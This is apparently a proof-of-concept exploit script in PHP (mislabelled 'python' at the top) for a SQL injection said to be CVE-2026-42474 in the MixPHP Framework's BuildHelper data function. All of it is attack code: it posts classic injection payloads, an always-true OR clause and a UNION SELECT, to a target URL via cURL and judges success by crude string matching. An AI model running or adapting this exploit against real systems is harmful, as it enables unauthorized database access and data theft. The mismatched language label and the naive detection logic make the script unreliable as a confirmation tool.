python

<?php
// PoC for CVE-2026-42474: MixPHP Framework SQL Injection
// Vulnerability: BuildHelper.php data function
// Impact: Remote attackers can execute arbitrary SQL queries via crafted array

$targetUrl = "http://example.com/api/vulnerable_action";

// Crafted payload to trigger SQL Injection
// The vulnerability occurs when the 'data' array is passed without sanitization
$maliciousData = [
    'username' => "admin' OR '1'='1", // Basic injection test
    'id' => "1 UNION SELECT 1,2,3,4--" // Union based injection test
];

// Simulate the request payload
$postData = [
    'data' => $maliciousData
];

// Use cURL to send the request
$ch = curl_init($targetUrl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($postData));

$response = curl_exec($ch);
curl_close($ch);

// Analyze response to confirm injection
if (strpos($response, 'error') !== false || strpos($response, 'sql') !== false) {
    echo "Potential SQL Injection detected.\n";
} else {
    echo "Request sent.\n";
}
